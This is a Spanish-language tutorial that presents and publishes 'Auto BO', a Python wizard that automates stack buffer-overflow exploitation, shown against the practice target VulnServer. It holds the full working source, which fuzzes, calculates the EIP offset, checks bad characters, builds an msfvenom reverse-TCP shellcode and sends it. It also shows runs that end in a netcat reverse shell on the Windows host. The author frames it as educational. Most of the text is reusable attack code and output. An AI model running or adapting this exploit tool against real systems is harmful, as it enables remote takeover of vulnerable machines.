Introducción

El desbordamiento de búfer, conocido como buffer overflow, es una vulnerabilidad de seguridad en la programación de software que ocurre cuando se introduce más datos en un área de memoria (búfer) de lo que puede manejar. Esta situación puede permitir a un atacante sobrescribir datos adyacentes en la memoria, lo que potencialmente conduce a la ejecución de código malicioso o a la alteración del flujo de un programa.

Cuando un programa no verifica la cantidad de datos que se ingresan en un búfer, se corre el riesgo de que un atacante pueda aprovechar esta debilidad para inyectar código malicioso, sobrescribir información importante o incluso tomar el control del sistema. La prevención del desbordamiento de búfer implica buenas prácticas de programación y el uso de técnicas de seguridad como la validación de entradas y el control de límites para evitar este tipo de vulnerabilidades.

Para la detección y explotación de esta vulnerabilidad se ha desarrollado un asistente programado en el lenguaje Python que facilita esta tarea. Actualmente funciona con servidores remotos y en casos en los cuáles no existan protecciones de memoria como ASLR. El programa se ha desarrollado con fines educativos y puede no ser aplicable para algunas situaciones, lo que requerirá su modificación. Para probar el programa se va a utilizar la aplicación vulnerable VulnServer.

Auto BO sin conocer los parámetros

Aunque la aplicación automatiza el proceso parcialmente es necesario ejecutar la aplicación una vez en un depurador para obtener algunos parámetros. En este caso se va a utilizar el depurador x64dbg. A continuación se ejecuta Auto BO con algunos parámetros obligatorios.

  • -i: La dirección IP del servidor de la aplicación vulnerable, en este caso 192.168.1.5
  • -p: El puerto de la aplicación vulnerable, en este caso 9999
  • -c: El comando que precede a la entrada de datos que vamos a inyectar, en este caso TRUN /.:/
  • -n: El número de bytes de instrucciones NOP a inyectar antes del shellcode, en este caso 8.
  • -o: El sistema operativo del servidor de la aplicación vulnerable, en este caso windows
  • -ai: La dirección IP con el puerto de escucha abierto para recibir la terminal inversa.
  • -ap: El puerto de escucha abierto para recibir la terminal inversa.

Los otros parámetros opcionales se analizarán en la siguiente sección. Ejecutamos la aplicación.

$ python autobo.py -i 192.168.1.5 -p 9999 -c "TRUN /.:/" -n 8 -o windows -ai 192.168.1.2 -ap 1234
Welcome to Auto BO: Open the program on the debugger and press ENTER to start the fuzzing.

Cuando abrimos la aplicación nos indica que abramos la aplicación por si todavía no lo hemos hecho para empezar con el fuzzing. Abierta la aplicación pulsamos ENTER y pasamos al depurador. Después de unos segundos observamos que la aplicación se ha pausado y se ha alcanzado una excepción así que reiniciamos la aplicación vulnerable. Se nos mostrará este mensaje:

The program crashed after sending 2000 bytes. Reboot the program and press ENTER.

El programa se ha cerrado después de haber enviado 2000 bytes por lo que al reiniciar la aplicación y pulsar ENTER se hará otro fuzzing de nuevo para calcular el offset. Recibimos este mensaje:

2200 bytes are being sent.
The program crashed again. Enter the address of the EIP at this point (e.g. FAFBFCFD):

Volviendo a saltar otra excepción en la aplicación observamos los registros en el depurador, y anotamos el registro EIP, en este caso 386F4337 y lo introducimos como nos solicita el programa. Se calcula el offset, en este caso de 2003 bytes.

Found the offset number 2003.
Reboot the program and press ENTER to check the bad chars.

Volvemos al depurador para reiniciar el programa y proceder con la detección de los badchars.

Sent characters from 0x01 to 0xFF.
Check the bad chars in the debugger and enter if any (e.g. 01,02) (00 will be added automatically):

En este momento se habrán enviado a la aplicación todos los caracteres desde 0x01 hasta 0xFF, ya que 0x00 ya se toma como badchar de forma predeterminada. Ahora en el depurador seleccionamos el registro ESP, hacemos clic derecho sobre él y pulsamos en Mostrar en el volcado. Encontramos los caracteres en el volcado por orden. Si encontramos alguno faltante o diferente lo introducimos separados por comas. En este caso no se encuentra ninguno. A continuación tenemos que encontrar la dirección de memoria en la que se encuentra una instrucción JMP ESP o CALL ESP. En este caso sabemos que hay una en el módulo essfunc.dll.

Get the address of the [JMP ESP] or [CALL ESP] call (e.g. FAFBFCFD):

En el depurador vamos a la pestaña Mapa de memoria y buscamos el módulo essfunc.dll. En este caso lo encontramos en la dirección de memoria 62500000. Tenemos que tomar nota de la dirección de la sección .text, que es la de código ejecutable, en este caso 62501000. Ahora usamos el comando findasm de x64dbg para encontrar las dirección de memoria con la instrucción. Especificamos la dirección de memoria.

findasm "jmp esp",0x62501000

Recibimos como respuesta 9 resultados. Con el comando ref.addr obtenemos la dirección de memoria.

ref.addr(0)

Obtenemos la dirección de memoria de una instrucción JMP ESP que anotamos, 625011AF. Introducimos la dirección en el programa e iniciará la creación del shellcode. Es requisito tener instalado en el sistema la herramienta msfvenom.

Shell code generated, now run "nc -nvlp 1234", reboot the program and press ENTER.

Finalmente se nos muestra un mensaje indicándonos que abramos el puerto de escucha, reiniciemos el programa y pulsamos ENTER para iniciar el buffer overflow. Obtendremos una terminal inversa.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.2] 49946
Microsoft Windows [Version 10.0.22621.525]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\Usuario\Desktop>whoami
desktop\usuario

Auto BO conociendo los parámetros

Habiendo obtenido los parámetros en la sección anterior podemos ejecutar el programa de nuevo especificando los tres parámetros opcionales.

  • -x: El offset calculado, en este caso 2003
  • -b: Los badchars obtenidos, en este caso ninguno, o ""
  • -a: La dirección de memoria de la instrucción JMP ESP o CALL ESP, en este caso 625011AF

Ejecutamos el programa y pasaremos a la parte final del asistente.

$ python autobo.py -i 192.168.1.5 -p 9999 -c "TRUN /.:/" -n 8 -o windows -ai 192.168.1.2 -ap 1234 -x 2003 -b "" -a 625011AF
Welcome to Auto BO: Shell code generated, now run "nc -nvlp 1234", reboot the program and press ENTER.

Código fuente

import argparse
import re
import socket
import string
import struct
import subprocess


def configure_arguments(parser):
    parser.add_argument('-i', '--app-ip', help='IP address of the host running the application', required=True)
    parser.add_argument('-p', '--app-port', help='Port of the host running the application', required=True)
    parser.add_argument('-c', '--command', help='Beggining of the command to send', required=True)

    parser.add_argument('-n', '--nop-bytes', help='Number of NOP bytes to send', required=True)
    parser.add_argument('-o', '--operating-system', help='OS of the host running the application', required=True, choices=['windows', 'linux'])
    parser.add_argument('-ai', '--attacker-ip', help='IP address of the attacker', required=True)
    parser.add_argument('-ap', '--attacker-port', help='Port of the attacker', required=True)

    parser.add_argument('-x', '--offset', help='Offset number in bytes. Disables automatic fuzzing.')
    parser.add_argument('-b', '--badchars', help='Bad characters in a comma-separated list. Disables badchars check.')
    parser.add_argument('-a', '--esp-address', help='Address of the [JMP ESP] or [CALL ESP] call.')

def parse_arguments(parser):
    args = {}
    args['ip_address'] = parser.app_ip
    args['server_port'] = int(parser.app_port)
    args['command'] = parser.command

    args['number_nop_bytes'] = int(parser.nop_bytes)
    args['platform'] = parser.operating_system
    args['attacker_ip_address'] = parser.attacker_ip
    args['attacker_port'] = int(parser.attacker_port)

    if parser.offset != None:
        args['offset'] = parser.offset
    if parser.badchars != None:
        args['badchars'] = parser.badchars
    if parser.esp_address != None:
        args['esp_address'] = parser.esp_address

    return args

def create_socket(ip_address, server_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, server_port))
    return s

def close_socket(socket):
    socket.close()

def receive_socket_data(socket, buffer_length):
    try:
        return str(socket.recv(buffer_length))
    except ConnectionResetError:
        return None

def send_socket_data(socket, data):
    try:
        return socket.send(data)
    except ConnectionResetError:
        return 0

def fuzz(ip_address, server_port, command):
    crashed_bytes = 0
    for string_length in range(1, 10001):
        tcp_socket = create_socket(ip_address, server_port)
        bytes_to_send = command.encode() + generate_pattern(string_length)
        # print('Received : ' + receive_socket_data(tcp_socket, 1024))
        send_socket_data(tcp_socket, bytes_to_send)
        if receive_socket_data(tcp_socket, 1024) == None:
            crashed_bytes = string_length
            break
        close_socket(tcp_socket)
        # print('Sent : ' + string_to_send)
    return crashed_bytes

def generate_pattern(pattern_length):
    pattern = ''
    for uppercase in string.ascii_uppercase:
        for lowercase in string.ascii_lowercase:
            for digit in string.digits:
                if len(pattern) >= pattern_length:
                    return pattern.encode()
                pattern += uppercase + lowercase + digit

def send_bytes(ip_address, server_port, command, bytes_to_send):
    tcp_socket = create_socket(ip_address, server_port)
    bytes_to_send = command.encode() + bytes_to_send
    # print('Received : ' + receive_socket_data(tcp_socket, 1024))
    send_socket_data(tcp_socket, bytes_to_send)
    close_socket(tcp_socket)

def calculate_offset(eip_address, pattern):    
    int_address = int(eip_address, 16)
    bytes_address = struct.pack('I', int_address)
    string_to_search = bytes_address.decode()
    # print('Searching for ' + string_to_search + '...')
    position = pattern.decode().find(string_to_search)
    return position

def generate_char_array():
    char_to_sum = b'\x00'
    char_array = [char_to_sum]
    for char in range(0, 255):
        char_to_sum = bytes([char_to_sum[0] + b'\x01'[0]])
        char_array.append(char_to_sum)
    return char_array

def generate_char_bytes():
    # Generate chars from 0x01 to 0xFF
    char_string = b'\x01'
    char_to_sum = b'\x00'
    for char in range(0, 254):
        char_to_sum = bytes([char_to_sum[0] + b'\x01'[0]])
        char_string += char_to_sum
    return char_string

def badchars_to_bytestring(bad_chars):
    # Receives a comma-separated list of badchars and convert into a encoded string
    bad_chars = bad_chars.split(',')
    bad_chars_bytes = b''
    for char in bad_chars:
        bad_chars_bytes += bytes.fromhex(char)
    return str(bad_chars_bytes).split('\'')[1].replace('\\', '\\\\')

def generate_nop_bytes(nop_bytes):
    nop_char = b'\x90'
    char_string = b''
    for char in range(0, nop_bytes):
        char_string += nop_char
    return char_string

def address_to_bytes(address):
    int_address = int(address, 16)
    return struct.pack('<I', int_address)

def generate_shellcode(platform, attacker_ip, attacker_port, nops_string):
    call = subprocess.run(["msfvenom", "-p", platform + "/shell_reverse_tcp", 
                           "LHOST=" + attacker_ip, "LPORT=" + str(attacker_port), 
                           "EXITFUNC=thread", "-f", "hex", "-a", "x86", 
                           # "-b" if nops_string != '' else '', nops_string], 
                           "-b", nops_string], # TODO: there are always nops
                           stderr=subprocess.DEVNULL, stdout=subprocess.PIPE, 
                           text=True)
    shellcode_hex = call.stdout
    return bytes.fromhex(shellcode_hex)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='Auto BO', description='Wizard created to help with buffer overflow job.')
    configure_arguments(parser)
    args = parser.parse_args()
    args = parse_arguments(args)

    print('Welcome to Auto BO: ', end='')

    if 'offset' not in args:
        input('Open the program on the debugger and press ENTER to start the fuzzing.')
        bytes_to_crash = fuzz(args['ip_address'], args['server_port'], args['command'])
        input('The program crashed after sending ' + str(bytes_to_crash) + ' bytes. Reboot the program and press ENTER.')

        bytes_to_crash = int(bytes_to_crash * 1.1) # sum bytes to crash 10% of the value
        print(str(bytes_to_crash) + ' bytes are being sent.')
        pattern = generate_pattern(bytes_to_crash)
        send_bytes(args['ip_address'], args['server_port'], args['command'], pattern)
        eip_address = input('The program crashed again. Enter the address of the EIP at this point (e.g. FAFBFCFD): ')
        offset = calculate_offset(eip_address, pattern)
        print('Found the offset number ' + str(offset) + '.')
    else:
        offset = int(args['offset'])
        pattern = generate_pattern(offset)

    if 'badchars' not in args:
        input('Reboot the program and press ENTER to check the bad chars.')
        char_bytes = generate_char_bytes()
        send_bytes(args['ip_address'], args['server_port'], args['command'], pattern + char_bytes)

        print('Sent characters from 0x01 to 0xFF.')
        bad_chars = input('Check the bad chars in the debugger and enter if any (e.g. 01,02) (00 will be added automatically): ')
        bad_chars_string = badchars_to_bytestring('00,' + bad_chars)
    else:
        bad_chars_string = badchars_to_bytestring('00,' + args['badchars'])

    if 'esp_address' not in args:
        esp_address = input('Get the address of the [JMP ESP] or [CALL ESP] call (e.g. FAFBFCFD): ')
        esp_address = address_to_bytes(esp_address)
    else:
        esp_address = address_to_bytes(args['esp_address'])

    nop_bytes = generate_nop_bytes(args['number_nop_bytes'])

    shellcode = generate_shellcode(args['platform'], args['attacker_ip_address'], args['attacker_port'], bad_chars_string)

    input('Shell code generated, now run "nc -nvlp ' + str(args['attacker_port']) + '", reboot the program and press ENTER.')
    send_bytes(args['ip_address'], args['server_port'], args['command'], pattern[:offset] + esp_address + nop_bytes + shellcode)